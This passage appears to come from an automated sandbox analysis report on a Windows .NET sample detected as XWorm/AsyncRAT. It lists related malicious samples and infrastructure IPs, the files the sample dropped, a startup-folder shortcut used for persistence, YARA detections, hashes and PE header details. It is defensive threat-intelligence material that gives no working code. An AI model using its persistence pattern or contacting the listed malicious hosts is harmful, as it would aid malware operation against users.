	VzhY4BcvBH.exe	Get hash	malicious	AsyncRAT, RedLine, StormKitty, VenomRAT	Browse	ip-api.com/line/?fields=hosting
103.230.121.124	word.exe	Get hash	malicious	XWorm	Browse
	svchost.exe	Get hash	malicious	XWorm	Browse
	Chrome.exe	Get hash	malicious	XWorm	Browse
	Registry.exe	Get hash	malicious	XWorm	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ip-api.com	Enquiry.js	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	8FloezlGW7.exe	Get hash	malicious	Python Stealer, Blank Grabber	Browse	208.95.112.1
	https://www.scrolldroll.com/best-dialogues-from-asur/	Get hash	malicious	Unknown	Browse	208.95.112.2
	Orden de compra.pdf______________________________________.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	Pedido_4502351226_de Compa#U00f1#U00eda Anno S.A..exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	word.exe	Get hash	malicious	XWorm	Browse	208.95.112.1
	svchost.exe	Get hash	malicious	XWorm	Browse	208.95.112.1
	Chrome.exe	Get hash	malicious	XWorm	Browse	208.95.112.1
	Registry.exe	Get hash	malicious	XWorm	Browse	208.95.112.1
	OC LICITACI#U00d3N DICIEMBRE_24.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
VPSQUANUS	word.exe	Get hash	malicious	XWorm	Browse	103.230.121.124
	svchost.exe	Get hash	malicious	XWorm	Browse	103.230.121.124
	Chrome.exe	Get hash	malicious	XWorm	Browse	103.230.121.124
	Registry.exe	Get hash	malicious	XWorm	Browse	103.230.121.124
	qkbfi86.elf	Get hash	malicious	Mirai	Browse	103.252.19.63
	amen.arm.elf	Get hash	malicious	Unknown	Browse	43.225.59.17
	AIYi17AyGz.exe	Get hash	malicious	Metasploit, Meterpreter	Browse	198.44.176.141
	o88dYvhfkt.exe	Get hash	malicious	CobaltStrike, Metasploit	Browse	156.224.21.148
	file.exe	Get hash	malicious	Sliver	Browse	198.44.168.104
	sBX8VM67ZE.exe	Get hash	malicious	FormBook	Browse	23.251.54.212
TUT-ASUS	Enquiry.js	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	8FloezlGW7.exe	Get hash	malicious	Python Stealer, Blank Grabber	Browse	208.95.112.1
	https://www.scrolldroll.com/best-dialogues-from-asur/	Get hash	malicious	Unknown	Browse	208.95.112.2
	Orden de compra.pdf______________________________________.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	Pedido_4502351226_de Compa#U00f1#U00eda Anno S.A..exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	word.exe	Get hash	malicious	XWorm	Browse	208.95.112.1
	svchost.exe	Get hash	malicious	XWorm	Browse	208.95.112.1
	Chrome.exe	Get hash	malicious	XWorm	Browse	208.95.112.1
	Registry.exe	Get hash	malicious	XWorm	Browse	208.95.112.1
	OC LICITACI#U00d3N DICIEMBRE_24.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1

Process:	C:\Users\user\AppData\Roaming\Word.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	654
Entropy (8bit):	5.380476433908377
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPXcp1OKbbDLI4MWuPOKfSSI6Khap+92n4MNQp3/VXM5gXu9tv:ML9E4KQwKDE4KGKZI6Kh6+84xp3/VclT
MD5:	30E4BDFC34907D0E4D11152CAEBE27FA
SHA1:	825402D6B151041BA01C5117387228EC9B7168BF
SHA-256:	A7B8F7FFB4822570DB1423D61ED74D7F4B538CE73521CC8745BC6B131C18BE63
SHA-512:	89FBCBCDB0BE5AD7A95685CF9AA4330D5B0250440E67DC40C6642260E024F52A402E9381F534A9824D2541B98B02094178A15BF2320148432EDB0D09B5F972BA
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.V9921e851#\04de61553901f06e2f763b6f03a6f65a\Microsoft.VisualBasic.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Temp\Log.tmp

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	41
Entropy (8bit):	3.7195394315431693
Encrypted:	false
SSDEEP:	3:rRSFYJKXzovNsr4rNrn:EFYJKDoWrcBn
MD5:	0DB526D48DAB0E640663E4DC0EFE82BA
SHA1:	17AC435DAFEA6FF9F4D6F83FA6C54F9800F43724
SHA-256:	934290A76F9E1804069D8ED6515B14101D9D8ABA2EACBF5B260F59941C65340E
SHA-512:	FACD013E1B5B8163214CA8C3A18ADEEC3541153CD69240EEFA76DDD54809186E919C1D635AEA648A8641DE7C3216BEC11C41F04719B60F07EDFDC01FF79027B9
Malicious:	false
Preview:	....### explorer ###..[WIN]r[WIN]r[WIN]r

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0qvhqr1i.s4j.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0wmefkli.zuc.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2p2ugdod.y4x.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3543qmue.3d3.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4hcrorip.ke0.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_a2buwkc4.gqo.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_b0hpt2qc.zz0.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ca4bhczu.vro.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cmoewhsg.vfi.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mtq0wjxv.vpq.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_orwwddgn.adj.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qawo4sog.sb3.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_r5cqfrde.23w.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rxsf43gm.5nh.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_sn2qvj1t.pai.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_uwzwcckb.eu0.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Word.lnk

Process:	C:\Users\user\Desktop\file.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Fri Nov 29 15:14:30 2024, mtime=Fri Nov 29 15:14:30 2024, atime=Fri Nov 29 15:14:30 2024, length=445952, window=hide
Category:	dropped
Size (bytes):	751
Entropy (8bit):	5.114229217806899
Encrypted:	false
SSDEEP:	12:8HoO4dHN+2ChTzi1Y//h4GkSLYkT58ZWjA7NHM8KUmnzZrNrzBmV:8HadM2Cz9p41sTuQAYnzhttm
MD5:	19B373C62DE6143CA961B31C45B685D6
SHA1:	62A7555E38561DFC5583C904AB5B776C7C78E0D6
SHA-256:	E1F142B8F416450D00418C25BCFBE24BFDA92D8C4C223060638633D77E397524
SHA-512:	62C5F85745170D13E02491763C9D54F7D33C0CBDD0C60C686DB6C40B9D11FD9A948797C249C86DB7FA99E16FCB8DFC6ACDCBD780AED59228F5F6501ECF912C2C
Malicious:	false
Preview:	L..................F.... ....^..yB...^..yB...^..yB..........................n.:..DG..Yr?.D..U..k0.&...&......Qg._.....~.iB...5..yB......t...CFSF..1.....EW.=..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......EW.=}Y...........................3N.A.p.p.D.a.t.a...B.V.1.....}Y`r..Roaming.@......EW.=}Y`r..........................'_..R.o.a.m.i.n.g.....Z.2.....}Y. .Word.exe..B......}Y.}Y.....! ....................jE#.W.o.r.d...e.x.e.......Z...............-.......Y............'.L.....C:\Users\user\AppData\Roaming\Word.exe........\.....\.....\.....\.....\.W.o.r.d...e.x.e.`.......X.......141700...........hT..CrF.f4... .]I..l....,......hT..CrF.f4... .]I..l....,......E.......9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?................

C:\Users\user\AppData\Roaming\Word.exe

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	445952
Entropy (8bit):	3.1734028805631276
Encrypted:	false
SSDEEP:	1536:5JVcMJ4tjdLCPwUtdcbwdpmnC6QOvdtvMd5S4Z96:504oBCxtdcbwd9O1RcS4ZE
MD5:	9FF920C7C3199DBFFF9B507272C9F65A
SHA1:	8A588FB79066649ADCDF2F5F1614D6858F0E4AC6
SHA-256:	F790A1104F5EEC4B7C03064D9063C9E69D1F55E5BCE27AD83474FB2AA00310E9
SHA-512:	BF3972D2BB7D819E6448651F14E7B465D3A4C92E2ECF747803FBC8E7E9E6CFF6B693E972F9729D56FB320316E2E51C751907E99EAE42F9309DB0241998954877
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: C:\Users\user\AppData\Roaming\Word.exe, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Users\user\AppData\Roaming\Word.exe, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: C:\Users\user\AppData\Roaming\Word.exe, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 76%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...uD;g............................><... ...@....@.. ....................... ............@..................................;..O....@.............................................................................. ............... ..H............text...D.... ...................... ..`.rsrc.......@....... ..............@..@.reloc..............................@..B................ <......H........n..........&.....................................................(.....r...p. .8F...(.....r!..p. [.x..s.........s.........s.........s..........rA..p. .y4..ra..p. ....r...p. p{..r...p. .....r...p. /?....((....r...p. u}...r...p. S....(+...-.(,...,.+.(-...,.+.(...,.+.()...,..(Z..."(....+.&('...&+..+5sk... .... .'..ol...(,...~....-.(_...(Q...~....om...&.-..r...p. .....r...p. .....r?..p. S....r_..p. .B]..r...p. .....r...p. ....r..

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	3.1734028805631276
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	file.exe
File size:	445'952 bytes
MD5:	9ff920c7c3199dbfff9b507272c9f65a
SHA1:	8a588fb79066649adcdf2f5f1614d6858f0e4ac6
SHA256:	f790a1104f5eec4b7c03064d9063c9e69d1f55e5bce27ad83474fb2aa00310e9
SHA512:	bf3972d2bb7d819e6448651f14e7b465d3a4c92e2ecf747803fbc8e7e9e6cff6b693e972f9729d56fb320316e2e51c751907e99eae42f9309db0241998954877
SSDEEP:	1536:5JVcMJ4tjdLCPwUtdcbwdpmnC6QOvdtvMd5S4Z96:504oBCxtdcbwd9O1RcS4ZE
TLSH:	9794C62F7F52797AC3BD56BF0810B1498978AD229AD9F20B385FF71C6D39D064A05382
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...uD;g............................><... ...@....@.. ....................... ............@................................

File Icon


Icon Hash:	33d8989292d8d827

Static PE Info

General

Entrypoint:	0x413c3e
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x673B4475 [Mon Nov 18 13:43:17 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x13bec	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x14000	0x5abda	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x70000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x11c44	0x11e00	980f7ab8f1531ec7fff51b3ead31fd69	False	0.5830146416083916	data	6.093314319391307	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
